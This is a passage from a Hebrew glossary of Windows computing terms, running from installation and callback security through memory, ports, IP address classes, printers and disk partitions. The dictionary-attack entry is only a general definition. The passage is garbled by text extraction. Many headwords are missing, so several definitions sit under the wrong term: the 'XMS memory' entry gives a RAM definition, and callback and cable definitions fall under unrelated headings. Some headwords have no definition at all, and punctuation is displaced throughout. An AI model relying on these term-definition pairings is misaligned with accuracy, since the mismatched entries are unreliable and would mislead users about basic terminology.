התקנה
ביחס לתוכנה ,הוספת קבצי תוכניות ותיקיות לדיסק הקשיח והוספת נתונים קרובים לרישום כדי
שהתוכנה תפעל כהלכה .התקנה שונה משדרוג ,שבו קבצי תוכניות ,תיקיות וערכי רישום קיימים
עוברים עדכון לגירסה מתקדמת יותר.
ביחס לחומרה ,חיבור פיזי של התקן למחשב ,טעינת מנהלי התקנים למחשב וקביעת מאפיינים
והגדרות של התקנים.
התקפה מילונית
שיטה לניחוש הסיסמה או מספר הזיהוי האישי ( )PINשל משתמש על-ידי ניסיון להשתמש בכל
מילה במילון עד להצלחה.
בהתקשרויות רשת ,צורה של התקשרות חזרה שבה המשתמש מספק את מספר הטלפון בו שרת
הגישה מרחוק משתמש להתקשרות חזרה .הגדרה זו חוסכת מהמשתמש חיובי טלפון עבור
שיחות מרוחקות.
439
התקשרות חזרה קבועה מראש
צורת אבטחה שבה שרת גישה מרחוק מאמת משתמשים על-ידי התקשרות חזרה אליהם
במספרים הניתנים על-ידי מנהל הרשת בעת הענקת הרשאות משתמש .רק מנהל רשת רשאי
לשנות מספר של התקשרות חזרה קבועה מראש .הדבר מבטיח שאף אדם לא יעתיק סיסמת
משתמש ויתחבר לשרת ממיקום שאינו המיקום הרגיל של המשתמש.
התקשרות חיוג
החיבור אל הרשת שלך בעת שימוש בהתקן המשתמש ברשת הטלפון .התקן כזה עשוי לכלול
מודמים עם קו טלפון סטנדרטי ,כרטיסי ISDNעם קווי ISDNמהיר או רשתות .X.25
אם אתה משתמש רגיל ,עשויות להיות לך התקשרות חיוג אחת או שתיים ,לאינטרנט ולרשת
החברה שלך ,למשל .במצב שרת מורכב יותר ,ייתכן כי נעשה שימוש בחיבורים מרובים של
מודם רשת על-מנת ליישם ניתוב מתקדם.
ו
אין במילון מונחים המתחילים באות זו.
ז
זוגיות
ערך מחושב המשמש לבנייה מחדש של נתונים לאחר כשל .אמצעי אחסון מסוג RAID-5
מפצלים נתונים וזוגיות לסירוגין על-פני מערכת דיסקים .כאשר נוצר כשל בדיסק ,מספר
מערכות הפעלה של שרת משתמשות במידע הזוגיות יחד עם המידע בדיסקים התקינים לשם
יצירה מחדש של הנתונים בדיסק עם הכשל.
זיהוי שמות
תהליך שבו תוכנה מתרגמת שמות הקלים לעבודה עבור משתמשים לכתובות IPמספריות,
שאינן נוחות עבור משתמשים אך נחוצות עבור תקשורת .TCP/IPניתן לספק זיהוי שמות
באמצעות רכיבי תוכנה כגון DNSאו .WINS
זיכרון
באופן כללי ,האחסון המהיר המוליך למחצה ( )RAMהמחובר ישירות למעבד וזקוק למתח
חשמלי כדי לפעול .בדרך כלל ההבדלה היא בין הזיכרון לאמצעי אחסון במחשב (לדוגמה,
440
דיסקים קשיחים ,תקליטונים ותקליטורים) שאינו תלוי בחשמל ולכן מהווה אמצעי קבוע יותר
לשמירת מידע.
זיכרון EMS
סוג של זיכרון שניתן להוסיף למחשבים אישיים של .IBMהשימוש בזיכרון EMSמוגדר על-
ידי ,)EMS( Expanded Memory Specificationהתומך בכרטיסי זיכרון המכילים ,RAM
שניתן להפוך אותו לזמין או ללא זמין באמצעות תוכנה.
זיכרון XMS
זיכרון שניתן לקרוא ממנו או לכתוב אליו באמצעות מחשב או התקנים אחרים .מידע המאוחסן
ב RAM -אובד עם כיבוי המחשב.
זיכרון וירטואלי
מקום אחסון זמני המשמש מחשב להפעלת תוכניות המצריכות זיכרון רב יותר מזה שיש לו.
לדוגמה ,לתוכניות עשויה להיות גישה ל 4 -ג'יגה-בתים של זיכרון וירטואלי בדיסק קשיח של
מחשב ,גם אם למחשב יש רק 32מגה-בתים של RAMבלבד .נתוני התוכנית שאינם נכנסים
באותו רגע לזיכרון של המחשב נשמרים בקבצי החלפה.
ראה גם :גודל זיכרון וירטואלי; זיכרון מדפסת וירטואלי; קובץ החלפה
זכויות משתמש
משימות שמשתמש רשאי לבצע במערכת מחשב או בקבוצת מחשבים .ישנן זכויות משתמש
משני סוגים :הרשאות וזכויות כניסה .הזכות לכבות את המערכת היא דוגמה להרשאה .הזכות
להיכנס למחשב באופן מקומי היא דוגמה לזכות כניסה .שני הסוגים מוקצים על-ידי מנהלים
לקבוצות או למשתמשים בודדים כחלק מהגדרות האבטחה עבור המחשב.
441
ראה גם :הרשאה; מנהל; קבוצה; קבוצת מחשבים
זקיף צליל
תכונה של Windowsהמפיקה אות חזותי ,כגון הבזק מסך או פס כותרת מהבהב ,בכל פעם
שהמחשב משמיע צליל מערכת.
ח
חבילה
סמל המייצג מידע מוטבע או מקושר .מידע זה עשוי להיות מורכב מקובץ שלם ,כגון מפת סיביות
של צייר ,או חלק מקובץ ,כגון תא בגיליון אלקטרוני .כאשר החבילה נבחרת ,היישום ששימש
ליצירת האובייקט משמיע את האובייקט (אם המדובר ,לדוגמה ,בקובץ צליל) או פותח את
האובייקט ומציג אותו .אם תשנה את המידע המקורי ,המידע המקושר יעודכן אוטומטית .עם
זאת ,עליך לעדכן ידנית מידע מוטבע.
חברות בקבוצות
הקבוצות שאליהן משתייך חשבון משתמש .הרשאות וזכויות שהוענקו לקבוצה ניתנות גם
לחברים בה .במרבית המקרים ,הפעולות שמשתמש יכול לבצע ב Windows -נקבעות על-ידי
הקבוצות שחשבון המשתמש חבר בהן ושבהן המשתמש עובד באותו רגע.
חדות גבוהה
תכונת תצוגה המורה לתוכניות לשנות את ערכת הצבעים לערכה בעלת חדות גבוהה ולהגביר את
הקריאות בכל מקום שניתן.
חומרה
הרכיבים הפיזיים של מערכת מחשב ,כולל כל ציוד היקפי כגון התקני מדפסות ,מודמים ועכבר.
חותמת זמן
אישור באמצעות ספק חיצוני מהימן המציין שהודעה מסוימת היתה קיימת בשעה ובתאריך
ספציפיים .בהקשר דיגיטלי ,ספקים חיצוניים מהימנים יוצרים חותמת זמן מהימנה עבור הודעה
נתונה על-ידי צירוף ערך זמן להודעה באמצעות שירות יצירת חותמות זמן ולאחר מכן הטבעת
חתימה דיגיטלית על התוצאה.
חיבור
442
חיבור בפס רחב
חיבור במהירות גבוהה .חיבורים בפס רחב הם בדרך כלל במהירות של 256קילו-בתים בשניה
( )KBpsאו מהירים יותר .פס רחב כולל את טכנולוגיית DSLושירותי מודם כבלים.
קישור בין יציאות קלט/פלט של שני מחשבים שנוצר באמצעות כבל יחיד ולא באמצעות מודם
או התקנים מגשרים אחרים .במרבית המקרים ,חיבור כבל ישיר נוצר באמצעות כבל מודם מסוג
.null
השילוב של רוחב הפס של שני קישורי תקשורת פיזיים או יותר לקישור לוגי יחיד לשם הגדלת
רוחב הפס והתפוקה של הגישה מרחוק באמצעות Multilinkלגישה מרחוק,Multilink .
המבוסס על תקן RFC )IETF( Internet Engineering Task Forceשמספרו ,1990משלב
נתיבי מודם אנלוגיים ,ערוצי B-של ISDNוקישורי תקשורת דיגיטליים ואנלוגיים מעורבים הן
במחשב הלקוח והן במחשב השרת .הדבר מגביר את מהירות הגישה שלך לאינטרנט ולאינטרא-
נט ומצמצם את כמות הזמן בה אתה מחובר למחשב מרוחק.
חילוץ
בעת חילוץ קובץ ,עותק לא מכווץ של הקובץ הנוצר בתיקיה שציינת .הקובץ המקורי נשאר
בתיקיה המכווצת.
חלון
חלק מהמסך בו ניתן להפעיל תוכניות ותהליכים .באפשרותך לפתוח מספר חלונות בו-זמנית.
לדוגמה ,באפשרותך לפתוח את הדואר האלקטרוני שלך בחלון אחד ,לעבוד על תקציב בגיליון
אלקטרוני בחלון שני ,לטעון תמונות מהמצלמה הדיגיטלית שלך בחלון שלישי ולהזמין את
המצרכים השבועיים שלך באינטרנט בחלון רביעי .ניתן לסגור חלונות ,לשנות את גודלם,
להזיזם ,למזער אותם ללחצן בשורת המשימות או להגדיל אותם כך שיתפסו את המסך כולו.
חלון המדפסת
חלון המדפסת ,הקרוי גם תצוגת התור ,מציג מידע אודות משימות הדפסה בהמתנה עבור
המדפסת .עבור כל מדפסת שהתקנת או כל מדפסת שאתה מחובר אליה ,באפשרותך לקבל מידע
כגון מספר המסמכים הממתינים להדפסה ,זהות הבעלים שלהם והגודל שלהם.
חלון המוצג על שולחן העבודה המשמש כממשק לעבודה עם מערכת ההפעלה .MS-DOS
פקודות MS-DOSמוקלדות בנקודת כניסה המצוינת על-ידי סמן מהבהב.
443
ראה גם)Microsoft Disk Operating System( MS-DOS :
שקע לחיבור התקן היקפי שתוכנן עבור ,)ISA( Industry Standard Architectureהממוקם
בלוח האם של מחשב.
חשבון משתמש
רשומה המורכבת מכל המידע המגדיר משתמש ב .Windows -מידע זה כולל את שם המשתמש
והסיסמה הנחוצים למשתמש כדי לבצע כניסה ,הקבוצות שבהן לחשבון המשתמש יש חברות
והזכויות וההרשאות שיש למשתמש לשימוש במחשב וברשת ולקבלת גישה למשאבים שלהם.
ב Windows Professional -ושרתים חברים ,חשבונות משתמשים מנוהלים באמצעות
משתמשים וקבוצות מקומיים .בבקרי קבוצות מחשבים של ,Windows Serverחשבונות
משתמשים מנוהלים באמצעות משתמשים ומחשבים של .Microsoft Active Directory
ראה גם :הרשאה; משאב; משתמשים ומחשבים של ;Active Directoryסיסמה; קבוצה; שם
משתמש
חשבון קבוצה
אוסף של חשבונות משתמשים .על-ידי צירוף חשבון משתמש כחבר בקבוצה ,באפשרותך
להעניק למשתמש את כל הזכויות וההרשאות שהוענקו לקבוצה.
חתימה דיגיטלית
אמצעי המשמש יוצרים של הודעה ,קובץ או מידע אחר שקודד דיגיטלית ,לשם קשירת זהותם
למידע .התהליך של חתימת מידע באופן דיגיטלי כרוך בהמרת המידע ,וכן מידע סודי המוחזק
בידי השולח ,לתג המכונה חתימה .חתימות דיגיטליות משמשות בסביבות מפתחות ציבוריים והן
מספקות שירותי אמינות ומניעת דחייה.
ט
טבלת מיקומי קבצים )(FAT
מערכת קבצים הנמצאת בשימוש ב MS-DOS -ובמערכות הפעלה אחרות המבוססות על
Windowsלשם ארגון וניהול קבצים .טבלת מיקומי הקבצים ( )FATהיא מבנה נתונים הנוצר
על-ידי Windowsבעת אתחול אמצעי אחסון באמצעות מערכות הקבצים FATאו .FAT32
Windowsמאחסן מידע אודות כל קובץ ב FAT -כדי שיהיה ניתן לאחזר את הקובץ מאוחר
יותר.
444
ראה גם ;FAT32 :מערכת קבצים; מערכת קבצים של NTFS
קובץ מערכת NTFSבאמצעי אחסון שאותחלו באמצעות NTFSהמכיל מידע אודות כל קובץ
ותיקיה באמצעי האחסון .ה MFT -הוא הקובץ הראשון באמצעי אחסון של .NTFS
ראה גם :אמצעי אחסון; טבלת מיקומי קבצים ( ;)FATמערכת קבצים של NTFS
טווח שמות
עבור ,)DNS( Domain Name Systemטווח השמות הוא המבנה ההירארכי או האנכי של
עץ שם קבוצת המחשבים .לדוגמה ,כל אחת מתוויות קבוצת המחשבים ,כגון host1או
,exampleהמשמשות בשם קבוצת מחשבים מלא ,כגון ,host1.example.microsoft.com
מציינות ענף בעץ טווח השמות של קבוצת המחשבים.
ראה גם ;)DNS( Domain Name System :יישום ;Snap-inמשאב; עץ מסוף; תווית
טופולוגיה
ב ,Windows -הקשרים בקבוצה של רכיבי רשת .בהקשר של שכפול ,Active Directory
טופולוגיה מתייחסת למערכת ההתקשרויות בהן בקרי קבוצות מחשבים משתמשים לשם שכפול
מידע ביניהם.
טעינה
טקסט רגיל
445
טרנזקציה
עבור ניהול תורי הודעות ,ההצמדה של שתי פעולות או יותר המבוצעות יחדיו כפעולה יחידה;
הפעולה מתבצעת בהצלחה או נכשלת כמכלול .שימוש במתאם הטרנזקציות המבוזרות של
)MS DTC( Microsoftמבטיח שכל הפעולות יבוצעו בהצלחה או שאף אחת מהן לא תבוצע.
ראה גם :הודעת טרנזקציה; ניהול תורי הודעות; תור הודעות טרנזקציה שלא נמסרו
י
יחידת הקצאה
שטח הדיסק הקטן ביותר שניתן להקצות לשם אחסון קובץ .כל מערכות הקבצים בהן משתמש
Windowsמארגנות את הדיסקים הקשיחים לפי יחידות הקצאה .ככל שגודל יחידת ההקצאה
קטן יותר ,כך הדיסק מאחסן את המידע בצורה יעילה יותר .אם לא תציין גודל יחידת הקצאה
בעת אתחול הדיסק Windows ,בוחר בגדלי ברירת מחדל המבוססים על גודלו של אמצעי
האחסון .גדלי ברירת מחדל אלה נבחרים על מנת להקטין את כמות השטח המבוזבז ואת מידת
הפיצול באמצעי האחסון .יחידת הקצאה מכונה גם אשכול.
יחסי אמון
קשר לוגי שנוצר בין קבוצות מחשבים כדי לאפשר אימות מעבר ,בו קבוצת מחשבים הנותנת
אמון מקיימת את אימותי הכניסה של קבוצת מחשבים מהימנה .חשבונות משתמשים וקבוצות
כלליות המוגדרות בקבוצת מחשבים מהימנה רשאיות לקבל זכויות והרשאות בקבוצת מחשבים
הנתונת אמון ,אף על פי שהקבוצות או חשבונות המשתמשים אינם קיימים בספריה של קבוצת
המחשבים הנותנת אמון.
ראה גם :אימות; הרשאה; חשבון משתמש; קבוצה; קבוצה כללית; קבוצת מחשבים
יישום Snap-in
סוג של כלי שבאפשרותך להוסיף למסוף הנתמך על-ידי Microsoft Management Console
( .)MMCיישום Snap-inעצמאי ניתן להוספה בפני עצמו; יישום Snap-inשל הרחבה ניתן
להוספה רק לשם הרחבת התפקוד של יישום Snap-inאחר.
יציאה
נקודת התקשרות במחשב בה ניתן לחבר התקנים שמעבירים נתונים למחשב וממנו .לדוגמה,
מדפסת מחוברת בדרך כלל ליציאה מקבילית (הקרויה גם יציאת ,)LPTומודם מחובר בדרך
כלל ליציאה טורית (הקרויה גם יציאת .)COM
יציאה טורית
ממשק במחשב המאפשר שידור אסינכרוני של תווי נתונים סיבית אחר סיבית .קרוי גם יציאת
תקשורת או יציאת .COM
446
ראה גם :יציאה; יציאת תקשורת
יציאה מקבילית
מחבר הקלט/פלט עבור התקן ממשק מקביל .מדפסות מחוברות לרוב ליציאה מקבילית.
יציאות התומכות בתקע בעל 6פינים שגודלו 11מ"מ על 5.4מ"מ או תקע בעל 4פינים שגודלו
5.35מ"מ על 3.45מ"מ.
יציאת USB
ממשק במחשב המאפשר לך להתחבר להתקן אפיק טורי אוניברסלי ( USB .)USBהוא תקן
אפיק חיצוני המאפשר קצב העברת נתונים של 12( 12 Mbpsמיליון סיביות בשניה) .יציאות
USBתומכות בתקע בגודל 7מ"מ 1 xמ"מ בקירוב.
יציאת אינפרא-אדום
יציאה אופטית במחשב המאפשרת קיום תקשורת עם מחשבים או התקנים אחרים באמצעות אור
אינפרא-אדום ,ללא כבלים .ניתן למצוא יציאות אינפרא-אדום בסוגים מסוימים של מחשבים
נישאים ,מדפסות ומצלמות.
יציאת משחקים
מחבר קלט/פלט שבאמצעותו ניתן לחבר ג'ויסטיק או התקן משחק אחר למחשב .היציאה היא
בדרך כלל Socketבן 15פינים בגב ה.PC -
ערוץ שדרכו מועברים נתונים בין התקן למיקרו-מעבד .היציאה נראית למיקרו-מעבד ככתובת
זיכרון אחת או יותר הניתנת לשימוש לשם שליחה או קבלה של נתונים.
יציאת תקשורת
יציאה במחשב המאפשרת תקשורת אסינכרונית של בית אחד בכל פעם .יציאת תקשורת מכונה
גם יציאה טורית.
447
כ
כבל מודם מסוג Null
כבל מיוחד המבטל את הצורך של המודם בתקשורת אסינכרונית בין שני מחשבים על-פני
מרחקים קצרים .כבל מודם מסוג Nullמחקה תקשורת מודם.
כוורת )(Hive
מקטע ברישום המופיע כקובץ בדיסק הקשיח .עץ המשנה של הרישום מחולק לכוורות
(הנקראות כך בגלל דמיונן למבנה התאי של כוורת דבורים) .כוורת היא גוף בדיד של מפתחות,
מפתחות משנה וערכים הנמצא בבסיס ההירארכיה של הרישום .כוורת מגובה על-ידי קובץ יחיד
וקובץ ,.logהנמצאים בתיקיה systemroot\System32\Configאו בתיקיה systemroot\Pr
.ofiles\username
כברירת מחדל ,מרבית קבצי הכוורת ( Security ,SAM ,Defaultו )System -מאוחסנים
בתיקיה .systemroot\System32\Configהתיקיה systemroot\Profilesמכילה את פרופיל
המשתמש של כל משתמש במחשב .מאחר שכוורת היא קובץ ,ניתן להעביר אותה ממערכת אחת
לשנייה .עם זאת ,עליך להשתמש בעורך הרישום כדי לערוך את הקובץ.
כונן
אזור אחסון המאותחל עם מערכת קבצים ובעל אות כונן .אמצעי האחסון עשוי להיות תקליטון,
תקליטור ,דיסק קשיח או סוג אחר של דיסק .באפשרותך להציג את תוכנו של כונן על-ידי לחיצה
על הסמל שלו בסייר Windowsאו במחשב שלי.
כונן לוגי
אמצעי אחסון שבאפשרותך ליצור במחיצה מורחבת בדיסק בסיסי של רשומת אתחול ראשית (
.)MBRכוננים לוגיים דומים למחיצות ראשיות ,פרט לכך שקיימת הגבלה של ארבע מחיצות
ראשיות בדיסק ,בעוד שמספר הכוננים הלוגיים שבאפשרותך ליצור בדיסק הוא בלתי מוגבל.
ניתן לאתחל כונן לוגי ולהקצות לו אות כונן.
ראה גם :אות כונן; אמצעי אחסון; אמצעי אחסון בסיסי; דיסק בסיסי; מחיצה מורחבת; מחיצה
ראשית; רשומת אתחול ראשית ()MBR
כונן נטען
כונן המוצמד לתיקיה ריקה באמצעי אחסון מסוג .NTFSכוננים נטענים פועלים באופן זהה לכל
כונן אחר ,אך מוקצים להם תווית או שם במקום אות כונן .שם הכונן הנטען מזוהה כנתיב
מערכת קבצים שלם ולא כאות כונן בלבד .חברים בקבוצה Administratorsרשאים להשתמש
בניהול דיסקים ליצירת כוננים נשלפים או להקצאה מחדש של אותיות כונן.
448
ראה גם :אמצעי אחסון; טעינה; כונן; מערכת קבצים של NTFS
כרטיס PC
התקן נשלף ,בערך בגודל כרטיס אשראי ,שניתן להכניסו לחריץ Personal Computer
)Memory Card International Association )PCMCIAבמחשב נישא .התקני
PCMCIAעשויים לכלול התקני מודם ,כרטיסי רשת וכוננים קשיחים.
כרטיס חכם
התקן בגודל כרטיס אשראי המשמש עם קוד גישה כדי לאפשר אימות מבוסס-אישור והתחברות
יחידה לארגון .בכרטיסים חכמים מאוחסנים באופן מאובטח אישורים ,מפתחות ציבוריים
ופרטיים ,סיסמאות וסוגים אחרים של מידע אישי .קורא כרטיס חכם המחובר למחשב קורא את
הכרטיס החכם.
כרטיס קול
כרטיס הרחבה מסייע עבור מחשבים אישיים המאפשר הקלטה והשמעה של צלילים.
כרטיסיה
חלק מתיבת דו-שיח הדומה לפנקס או למחיצה של תיקיה ומספק יכולת ניווט בין מקטעי מידע
שונים בתיבת הדו-שיח.
כתובת IP
כתובת באורך 32סיביות המשמשת לזיהוי צומת ברשת .IPלכל צומת ברשת IPיש להקצות
כתובת IPייחודית המורכבת ממזהה הרשת וממזהה ייחודי של מחשב מארח .כתובת זו מיוצגת
בדרך כלל באמצעות הערך העשרוני של כל שמיניה ,כאשר הערכים מופרדים באמצעות נקודות
(לדוגמה .)192.168.7.27 ,בגירסה זו של ,Windowsבאפשרותך להגדיר את כתובת הIP -
באופן סטטי או דינאמי באמצעות .DHCP
כתובת IPוירטואלית
כתובת IPהמשותפת בין המחשבים המארחים של אשכול איזון עומס ברשת .אשכול איזון עומס
ברשת עשוי להשתמש גם במספר כתובות IPוירטואליות -לדוגמה ,באשכול של שרתי אינטרנט
מרובי חיבורים.
449
כתובת IPמClass A -
כתובת IPלשידור ליעד בודד בטווח שבין 1.0.0.1ל .126.255.255.254 -השמיניה הראשונה
מציינת את הרשת ושלוש השמיניות האחרות מציינות את המחשב המארח ברשת.
כתובת IPלשידור ליעד בודד בטווח שבין 128.0.0.1ל .191.255.255.254 -שתי השמיניות
הראשונות מציינות את הרשת ושתי השמיניות האחרונות מציינות את המחשב המארח ברשת.
כתובת אינטרנט
כתובת של משאב באינטרנט המשמשת את דפדפני האינטרנט לשם איתור משאבי אינטרנט.
כתובת אינטרנט מתחילה לרוב בשם פרוטוקול ואחריו שם הארגון המתחזק את האתר; הסיומת
מזהה את סוג הארגון .לדוגמה ,הכתובת http://www.yale.edu/מספקת את המידע הבא:
כתובת זיכרון
פיסה מזיכרון המחשב הניתנת להקצאה להתקן או לשימוש על-ידי תוכנית או מערכת ההפעלה.
בדרך כלל מוקצה להתקנים טווח של כתובות זיכרון.
כתובת שמורה
כתובת IPספציפית בטווח השמורה באופן קבוע עבור שימוש מוחכר ללקוח DHCPספציפי.
הזמנות מראש של לקוח מתבצעות במסד הנתונים של DHCPבאמצעות מנהל DHCP
ומבוססות על מזהה התקן לקוח ייחודי עבור כל אחד מהערכים השמורים.
450
ב ,Admission Control Service -הקצאה של משאבי רשת ,הכלולים בבקשת הזמנה מראש
של )RSVP( Resource Reservation Protocolבאמצעות Admission Control
.Service
ל
לא מקוון
מצב המסמן רכיב באשכול כלא זמין .צומת במצב לא מקוון אינו פעיל או אינו פועל .גם
במשאבים ובקבוצות ישנו מצב לא מקוון.
לוח אם
לוח המעגל החשמלי הראשי של מיקרו-מחשב .לוח האם כולל מחברים לצירוף לוחות נוספים.
לחיצה
הצבת העכבר מעל אובייקט ולאחר מכן לחיצה ושחרור של לחצן העכבר הראשי (השמאלי).
מיקום העכבר מעל אובייקט ולאחר מכן לחיצה על לחצן העכבר המשני (הימני) ושחרורו.
לחיצה באמצעות לחצן העכבר הימני פותחת תפריט קיצור המכיל פקודות שימושיות ,המשתנות
בהתאם למיקום בו הלחיצה מתבצעת.
הלחצן המשמש בדרך כלל ללחיצה וללחיצה כפולה .לחצן העכבר הראשי הוא הלחצן השמאלי
במרבית העכברים והתקני כדור העקיבה ,והלחצן התחתון בהתקני כדור עקיבה מסוימים ,אך
באפשרותך לשנות את תפקוד הלחצנים באמצעות תיבת הדו-שיח מאפייני עכבר בלוח הבקרה.
לכידה
הקצאת יציאה למדפסת .מסמכים שאתה מדפיס נשלחים למדפסת דרך היציאה שנלכדה.
451
לקוח
כל מחשב או תוכנית המחוברים למחשב אחר או לתוכנית אחרת ,או מבקשים את שירותיהם.
המונח לקוח עשוי להתייחס גם לתוכנה המאפשרת למחשב או לתוכנית ליצור את החיבור.
עבור רשת תקשורת מקומית ( )LANאו רשת האינטרנט ,מחשב המשתמש במשאבי רשת
משותפים המסופקים על-ידי מחשב אחר (המכונה שרת).
לקוח ברשת ELANהמבצע העברת נתונים ,זיהוי כתובות ופעולות בקרה אחרות .הLEC -
שוכן בתחנות קצה ברשת .ELAN
מ
מאגר
אזור ב RAM -השמור לשימוש עם נתונים המאוחסנים באופן זמני בעודם ממתינים להעברה
בין שני מיקומים ,לדוגמה בין אזור נתונים של יישום להתקן קלט/פלט.
מאגר אישורים
בדרך כלל ,מאגר קבוע שבו מאוחסנים אישורים ,רשימות ביטול אישורים ורשימות אישורים
אמינים.
מאגר הדפסה
שתי מדפסות זהות או יותר המחוברות לשרת הדפסה אחד ופועלות כמדפסת יחידה .במקרה כזה,
בעת הדפסת מסמך ,משימת ההדפסה תישלח למדפסת הזמינה הראשונה במאגר.
הזיכרון הווירטואלי המוקצה על-ידי המערכת ,שנטען אל תהליך ושניתן להחליפו .החלפה היא
העברה של חלקים לא שימושיים בזיכרון הפעיל של תוכנית מה RAM -לאמצעי אחסון אחר,
בדרך כלל הדיסק הקשיח.
במנהל המשימות ,כמות הזיכרון הווירטואלי המוקצה על-ידי המערכת ,בקילו-בתים ,בו נעשה
שימוש בתהליך.
452
ראה גם :זיכרון וירטואלי
בניהול צבעים ,הגישה המשמשת למיפוי הצבעים המצוינים בקובץ תמונה לערכת הצבעים של
הצג או המדפסת שלך .ערכת הצבעים היא טווח הצבעים שלהתקן יש אפשרות להפיק.
מארח אבטחה
התקן אימות ,המהווה השלמה לאבטחת שרת תקנית לגישה ל Windows -וגישה מרחוק;
ההתקן מוודא אם גורם קורא מלקוח מרוחק מורשה להתחבר לשרת הגישה מרחוק.
מגה-בית )(MB
מדיניות
המנגנון שבאמצעותו הגדרות שולחן עבודה נקבעות אוטומטית ,על-פי הגדרת המנהל .בהתאם
להקשר ,מונח זה עשוי להתייחס למדיניות קבוצתית ,למדיניות מערכת של Windows NT 4.0
או להגדרה ספציפית באובייקט מדיניות קבוצתית.
מדיניות קבוצתית
מדפסות ופקסים
התיקיה בלוח הבקרה המכילה את אשף הוספת המדפסת וסמלים עבור כל המדפסות המותקנות
במחשב שלך.
מדפסת
התקן המעביר טקסט או תמונות לנייר או לאמצעי הדפסה אחר .לדוגמה ,מדפסות לייזר ומדפסות
סיכות.
453
ראה גם :מאגר הדפסה; מדפסת לוגית; מנגנון הדפסה ברקע ()print spooler
מדפסת PostScript
מדפסת המשתמשת בשפת תיאור העמוד ( PostScript )PDLלשם יצירת טקסט וגרפיקה
באמצעי הקלט ,כגון נייר או שקף NEC LC-890 ,Apple LaserWriter .וQMS PS-810 -
הינן דוגמאות למדפסות .PostScript
ראה גם ;PostScript :זיכרון מדפסת וירטואלי; שפת תיאור עמוד ()PDL
מדפסת לוגית
ממשק התוכנה שבין מערכת ההפעלה למדפסת ב .Windows -בעוד שמדפסת היא ההתקן
שמבצע את ההדפסה לכשעצמה ,מדפסת לוגית היא ממשק התוכנה שלה בשרת ההדפסה .ממשק
תוכנה זה קובע כיצד יש לעבד משימת הדפסה וכיצד לנתב אותה ליעדה (ליציאה מקומית או
יציאת רשת ,לקובץ או לשיתוף הדפסות מרוחק) .בעת הדפסת מסמך ,הוא מאוחסן במדפסת
הלוגית לפני שליחתו למדפסת עצמה.
מדפסת משותפת
מדפסת המקבלת קלט ממספר מחשבים .לדוגמה ,ניתן לשתף מדפסת המחוברת למחשב אחר
ברשת כך שהיא תהיה זמינה עבורך לשימוש .מדפסת משותפת קרויה גם מדפסת רשת.
התקן המאפשר לשדר או לקבל מידע מחשב דרך קו טלפון .המודם המשדר מתרגם מידע מחשב
דיגיטלי לאותות אנלוגיים שניתן להעבירם דרך קו טלפון .המודם המקבל מתרגם את האותות
האנלוגיים בחזרה לתבנית דיגיטלית.
ראה גם ;)TAPI( Telephony API :דחיסת מודם; המתנה לשיחה; יציאה; כבל מודם מסוג
Null
מודם כבלים
התקן המאפשר חיבור בפס רחב לאינטרנט באמצעות תשתית הטלוויזיה בכבלים .מהירויות
הגישה משתנות מאוד ,כאשר קצב ההעברה המהיר ביותר הוא 10מגה-סיביות בשניה (.)Mbps
מזהה
תוכניות לקוח של DNSהמשמשות לחיפוש מידע אודות שם .DNSמזהים יכולים להיות stub
(קבוצה מוגבלת של רוטינות תיכנות המספקות פונקציונליות בסיסית של שאילתות) קטן או
תוכניות גדולות יותר המספקות פונקציות חיפוש נוספות של לקוח ,DNSכגון אחסון במטמון.
454
מזהה אבטחה )(SID
מבנה נתונים באורך משתנה המזהה חשבונות משתמש ,קבוצה ומחשב .עבור כל חשבון ברשת
מונפק SIDייחודי כאשר הוא נוצר לראשונה .תהליכים פנימיים ב Windows -מתייחסים ל-
SIDשל החשבון ולא לשם המשתמש או הקבוצה של החשבון.
החלק במזהה אבטחה ( )SIDהמזהה באופן ייחודי חשבון או קבוצה בקבוצת מחשבים.
מספר בן 8עד 14ספרות המזהה את השירותים שהזמנת עבור כל אחד מערוצי .B-לדוגמה,
כאשר אתה מזמין ,Primary Rate ISDNתקבל שני מספרי טלפון ושני SPIDמספק ה-
ISDNשלך .למתאמי ISDNאין אפשרות לפעול ללא קביעת תצורה של .SPID
מזעור
הקטנת חלון לגודל לחצן בשורת המשימות על-ידי לחיצה על לחצן מזער (בצידו השמאלי של
פס הכותרת) או על-ידי הקשה על +ALTמקש רווח ולאחר מכן הקשה על .N
מחבר BNC
מחבר עבור כבלים קואקסיאליים הננעל בעת הכנסת מחבר אחד לאחר וסיבובו בתשעים מעלות.
סוג של מחבר המאפשר לחבר ולנתק התקנים טוריים מהירים .מחבר IEEE 1394נמצא לרוב
בגב המחשב ליד היציאה הטורית או היציאה המקבילית.
אם התקן הוא תואם ,IEEE 1394באפשרותך לחבר אותו למחבר IEEE 1394בשעה
שהמחשב פועל ו Windows -יזהה את ההתקן ויודיע לך כאשר הוא מוכן לשימוש .בדומה לכך,
באפשרותך לנתק את ההתקן בשעה שהמחשב פועל ,אך רצוי כי תשתמש באשף הוספת החומרה
כדי להודיע ל Windows -על ניתוק ההתקן Windows .יודיע לך כאשר ניתן יהיה לנתק את
ההתקן מהמחשב.
אפיק IEEE 1394משמש בעיקר לחיבור התקני וידאו ושמע דיגיטליים מתקדמים למחשב; עם
זאת ,קיימים גם דיסקים קשיחים ,מדפסות ,סורקים וכונני DVDשניתן לחבר למחשב באמצעות
מחבר .IEEE 1394
455
מחובר ,משתמש מאומת
מצב של משתמש לאחר שנוצרה התקשרות טלפונית והמשתמש הזין שם משתמש וסיסמה
נכונים .אם למשתמש יש הרשאת התקשרות חזרה והוא ביקש התקשרות חזרה ,לאחר החיבור
יתבצע שלב התקשרות חזרה .אם לאחר שלב ההתקשרות חזרה מתקיים שלב המתנה לשיחה,
הדבר מצביע על כך שלשרת לא היתה אפשרות ליצור קשר עם המשתמש במספר שצוין .ייתכן
כי המשתמש סיפק מספר שגוי להתקשרות חזרה (במקרה של התקשרות חזרה שהוגדרה על-ידי
המשתמש) או שמתבצע ניסיון לגשת לרשת באופן לא מורשה (במקרה של התקשרות חזרה
מוגדרת מראש).
ראה גם :התקשרות חזרה לפי גורם קורא; התקשרות חזרה קבועה מראש
מחיצה
חלק מדיסק פיזי המתפקד כאילו היה דיסק נפרד באופן פיזי .לאחר יצירת מחיצה ,עליך לאתחל
אותה ולהקצות לה אות כונן כדי לאחסן בה נתונים.
בדיסקים בסיסיים ,מחיצות ידועות כאמצעי אחסון בסיסיים ,הכוללים מחיצות ראשיות וכוננים
לוגיים .בדיסקים דינאמיים ,מחיצות ידועות כאמצעי אחסון דינאמיים ,הכוללים אמצעי אחסון
פשוטים ,מפוצלים ומורחבים ,אמצעי אחסון שעברו שיקוף ואמצעי אחסון מסוג .RAID-5
